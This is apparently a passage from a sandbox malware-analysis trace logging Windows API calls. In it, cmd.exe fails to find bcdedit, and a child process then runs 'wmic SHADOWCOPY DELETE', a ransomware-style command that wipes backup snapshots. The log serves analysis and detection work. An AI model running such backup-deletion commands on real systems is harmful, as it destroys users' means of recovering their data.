hHeap=0x760000, dwFlags=0x0, lpMem=0x775708 | out: hHeap=0x760000) returned 1 [0035.403] GetProcessHeap () returned 0x760000 [0035.403] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400e) returned 0x776aa8 [0035.403] GetProcessHeap () returned 0x760000 [0035.403] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x80) returned 0x772df8 [0035.403] GetProcessHeap () returned 0x760000 [0035.403] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x776aa8 | out: hHeap=0x760000) returned 1 [0035.403] GetConsoleOutputCP () returned 0x1b5 [0035.477] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.477] GetUserDefaultLCID () returned 0x409 [0035.477] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a254950, cchData=8 | out: lpLCData=":") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x41fb18, cchData=128 | out: lpLCData="0") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x41fb18, cchData=128 | out: lpLCData="0") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x41fb18, cchData=128 | out: lpLCData="1") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a254940, cchData=8 | out: lpLCData="/") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a254d80, cchData=32 | out: lpLCData="Mon") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a254d40, cchData=32 | out: lpLCData="Tue") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a254d00, cchData=32 | out: lpLCData="Wed") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a254cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a254c80, cchData=32 | out: lpLCData="Fri") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a254c40, cchData=32 | out: lpLCData="Sat") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a254c00, cchData=32 | out: lpLCData="Sun") returned 4 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a254930, cchData=8 | out: lpLCData=".") returned 2 [0035.478] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a254920, cchData=8 | out: lpLCData=",") returned 2 [0035.478] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0035.479] GetProcessHeap () returned 0x760000 [0035.479] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x20c) returned 0x772e80 [0035.479] GetConsoleTitleW (in: lpConsoleTitle=0x772e80, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.479] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0035.479] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0035.479] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0035.480] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0035.480] GetProcessHeap () returned 0x760000 [0035.480] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x400a) returned 0x776aa8 [0035.480] GetProcessHeap () returned 0x760000 [0035.480] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x776aa8 | out: hHeap=0x760000) returned 1 [0035.480] _wcsicmp (_String1="bcdedit", _String2=")") returned 57 [0035.480] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4 [0035.480] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4 [0035.481] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7 [0035.481] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7 [0035.481] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16 [0035.481] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16 [0035.481] GetProcessHeap () returned 0x760000 [0035.481] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x58) returned 0x773098 [0035.481] GetProcessHeap () returned 0x760000 [0035.481] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x18) returned 0x7730f8 [0035.482] GetProcessHeap () returned 0x760000 [0035.482] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x6e) returned 0x773118 [0035.482] GetConsoleTitleW (in: lpConsoleTitle=0x41f810, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0035.483] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0035.483] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0035.483] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0035.483] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0035.483] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0035.483] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0035.483] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0035.483] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0035.483] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0035.483] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0035.483] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0035.483] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0035.483] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0035.483] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0035.483] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0035.483] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0035.483] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0035.483] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0035.483] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0035.483] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0035.483] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0035.483] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0035.483] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0035.483] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0035.483] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0035.483] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0035.483] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0035.483] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0035.483] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0035.483] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0035.483] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0035.483] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0035.483] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0035.483] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0035.483] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0035.484] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0035.484] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0035.484] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0035.484] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0035.484] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0035.484] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0035.484] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0035.484] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0035.484] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0035.484] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0035.484] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0035.484] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0035.484] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0035.484] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0035.484] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0035.484] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0035.484] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0035.484] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0035.484] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0035.484] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0035.484] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0035.484] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0035.484] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0035.484] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0035.484] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0035.484] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0035.484] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0035.484] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0035.484] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0035.484] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0035.485] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0035.485] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0035.485] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0035.485] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0035.485] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0035.485] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0035.485] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0035.485] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0035.485] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0035.485] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0035.485] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0035.485] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0035.485] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0035.485] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0035.485] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0035.485] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0035.485] GetProcessHeap () returned 0x760000 [0035.485] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x773190 [0035.485] GetProcessHeap () returned 0x760000 [0035.485] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x7e) returned 0x7733a8 [0035.485] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0035.486] GetProcessHeap () returned 0x760000 [0035.486] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x418) returned 0x7607f0 [0035.486] SetErrorMode (uMode=0x0) returned 0x0 [0035.486] SetErrorMode (uMode=0x1) returned 0x0 [0035.486] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7607f8, lpFilePart=0x41f330 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x41f330*="Desktop") returned 0x25 [0035.486] SetErrorMode (uMode=0x0) returned 0x1 [0035.486] GetProcessHeap () returned 0x760000 [0035.486] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x7607f0, Size=0x64) returned 0x7607f0 [0035.486] GetProcessHeap () returned 0x760000 [0035.486] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x7607f0) returned 0x64 [0035.486] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0035.486] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0035.486] GetProcessHeap () returned 0x760000 [0035.486] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x120) returned 0x773430 [0035.486] GetProcessHeap () returned 0x760000 [0035.486] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x238) returned 0x760860 [0035.492] GetProcessHeap () returned 0x760000 [0035.492] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x760860, Size=0x122) returned 0x760860 [0035.492] GetProcessHeap () returned 0x760000 [0035.492] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x760860) returned 0x122 [0035.492] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a260640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0035.492] GetProcessHeap () returned 0x760000 [0035.492] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x773558 [0035.492] GetProcessHeap () returned 0x760000 [0035.492] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x773558, Size=0x76) returned 0x773558 [0035.492] GetProcessHeap () returned 0x760000 [0035.492] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x773558) returned 0x76 [0035.493] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.493] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.493] GetLastError () returned 0x2 [0035.493] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.493] GetLastError () returned 0x2 [0035.493] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.493] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.493] GetLastError () returned 0x2 [0035.493] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.494] GetLastError () returned 0x2 [0035.494] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.494] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.494] GetLastError () returned 0x2 [0035.494] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.494] GetLastError () returned 0x2 [0035.494] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.494] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.494] GetLastError () returned 0x2 [0035.494] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.494] GetLastError () returned 0x2 [0035.494] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0035.494] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.496] GetLastError () returned 0x2 [0035.496] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x41f0ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41f0ac) returned 0xffffffff [0035.497] GetLastError () returned 0x2 [0035.497] _get_osfhandle (_FileHandle=2) returned 0xb [0035.497] GetFileType (hFile=0xb) returned 0x2 [0035.497] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0035.497] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41f500 | out: lpMode=0x41f500) returned 1 [0035.498] _get_osfhandle (_FileHandle=2) returned 0xb [0035.498] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41f534 | out: lpConsoleScreenBufferInfo=0x41f534) returned 1 [0035.498] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0035.498] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a264640, nSize=0x2000, Arguments=0x41f574 | out: lpBuffer="'bcdedit' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0035.498] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a264640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x41f558, lpReserved=0x0 | out: lpBuffer=0x4a264640*, lpNumberOfCharsWritten=0x41f558*=0x62) returned 1 [0035.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.499] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0035.499] _get_osfhandle (_FileHandle=1) returned 0x7 [0035.499] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a2541ac | out: lpMode=0x4a2541ac) returned 1 [0035.499] _get_osfhandle (_FileHandle=0) returned 0x3 [0035.499] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a2541b0 | out: lpMode=0x4a2541b0) returned 1 [0035.499] SetConsoleInputExeNameW () returned 0x1 [0035.499] GetConsoleOutputCP () returned 0x1b5 [0035.499] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a254260 | out: lpCPInfo=0x4a254260) returned 1 [0035.499] SetThreadUILanguage (LangId=0x0) returned 0x409 [0035.500] exit (_Code=1) Process: id = "13" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x33617000" os_pid = "0xa0c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x898" cmd_line = "wmic SHADOWCOPY DELETE" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 37 os_tid = 0xa1c [0036.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xeff7c | out: lpSystemTimeAsFileTime=0xeff7c*(dwLowDateTime=0x39edc200, dwHighDateTime=0x1d5ddc0)) [0036.226] GetCurrentProcessId () returned 0xa0c [0036.226] GetCurrentThreadId () returned 0xa1c [0036.226] GetTickCount () returned 0x115338f [0036.226] QueryPerformanceCounter (in: lpPerformanceCount=0xeff74 | out: lpPerformanceCount=0xeff74*=17799248969) returned 1 [0036.227] GetModuleHandleA (lpModuleName=0x0) returned 0x1e0000 [0036.227] __set_app_type (_Type=0x1) [0036.227] __p__fmode () returned 0x76be31f4 [0036.227] __p__commode () returned 0x76be31fc [0036.227] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x21dc15) returned 0x0 [0036.227] __wgetmainargs (in: _Argc=0x22c5e8, _Argv=0x22c5f0, _Env=0x22c5ec, _DoWildCard=0, _StartInfo=0x22c5fc | out: _Argc=0x22c5e8, _Argv=0x22c5f0, _Env=0x22c5ec) returned 0 [0036.397] ??0CHString@@QAE@XZ () returned 0x22c28c [0036.398] malloc (_Size=0x18) returned 0x8d13b8 [0036.444] malloc (_Size=0x38) returned 0x8d13d8 [0036.444] malloc (_Size=0x28) returned 0x8d3dc8 [0036.444] malloc (_Size=0x18) returned 0x8d3df8 [0036.444] malloc (_Size=0x24) returned 0x8d3e18 [0036.494] malloc (_Size=0x18) returned 0x8d3e48 [0036.494] malloc (_Size=0x18) returned 0x8d3e68 [0036.494] ??0CHString@@QAE@XZ () returned 0x22c594 [0036.494] malloc (_Size=0x18) returned 0x8d3e88 [0036.494] ?Empty@CHString@@QAEXXZ () returned 0x74290504 [0036.494] SetConsoleCtrlHandler (HandlerRoutine=0x216b6f, Add=1) returned 1 [0036.494] _onexit (_Func=0x222f1f) returned 0x222f1f [0036.494] _onexit (_Func=0x222f2e) returned 0x222f2e [0036.494] _onexit (_Func=0x222f42) returned 0x222f42 [0036.494] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.494] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0036.495] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0036.747] CoCreateInstance (in: rclsid=0x1e6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x1e6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x22c1b0 | out: ppv=0x22c1b0*=0x310828) returned 0x0 [0037.731] GetCurrentProcess () returned 0xffffffff [0037.731] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0xefe24 | out: TokenHandle=0xefe24*=0x108) returned 1 [0037.731] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xefe20 | out: TokenInformation=0x0, ReturnLength=0xefe20) returned 0 [0037.731] malloc (_Size=0x118) returned 0x8d2788 [0037.731] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x8d2788, TokenInformationLength=0x118, ReturnLength=0xefe20 | out: TokenInformation=0x8d2788, ReturnLength=0xefe20) returned 1 [0037.731] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x8d2788*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0037.731] free (_Block=0x8d2788) [0037.731] CloseHandle (hObject=0x108) returned 1 [0037.732] malloc (_Size=0x40) returned 0x8d2788 [0037.732] malloc (_Size=0x40) returned 0x8d27d0 [0037.732] malloc (_Size=0x40) returned 0x8d2818 [0037.732] malloc (_Size=0x20a) returned 0x8d2860 [0037.732] GetSystemDirectoryW (in: lpBuffer=0x8d2860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0037.732] free (_Block=0x8d2860) [0037.770] malloc (_Size=0xc) returned 0x8d3fb8 [0037.770] malloc (_Size=0xc) returned 0x8d3fd0 [0037.770] malloc (_Size=0xc) returned 0x8d2860 [0037.770] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0037.770] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0037.770] free (_Block=0x8d3fb8) [0037.770] free (_Block=0x8d3fd0) [0037.770] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0037.771] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0037.771] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.772] FreeLibrary (hLibModule=0x76e10000) returned 1 [0037.772] free (_Block=0x8d2860) [0037.772] _vsnwprintf (in: _Buffer=0x8d2818, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0xefd80 | out: _Buffer="ms_409") returned 6 [0037.772] malloc (_Size=0x20) returned 0x8d3fb8 [0037.772] GetComputerNameW (in: lpBuffer=0x8d3fb8, nSize=0xefdd8 | out: lpBuffer="XDUWTFONO", nSize=0xefdd8) returned 1 [0037.772] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.772] malloc (_Size=0x14) returned 0x8d2860 [0037.772] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.772] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0xefe14 | out: lpNameBuffer=0x0, nSize=0xefe14) returned 0x0 [0037.773] GetLastError () returned 0xea [0037.773] malloc (_Size=0x40) returned 0x8d2880 [0037.773] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x8d2880, nSize=0xefe14 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0xefe14) returned 0x1 [0037.774] lstrlenW (lpString="") returned 0 [0037.774] lstrlenW (lpString="XDUWTFONO") returned 9 [0037.774] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0037.775] lstrlenW (lpString=".") returned 1 [0037.775] lstrlenW (lpString="XDUWTFONO") returned 9 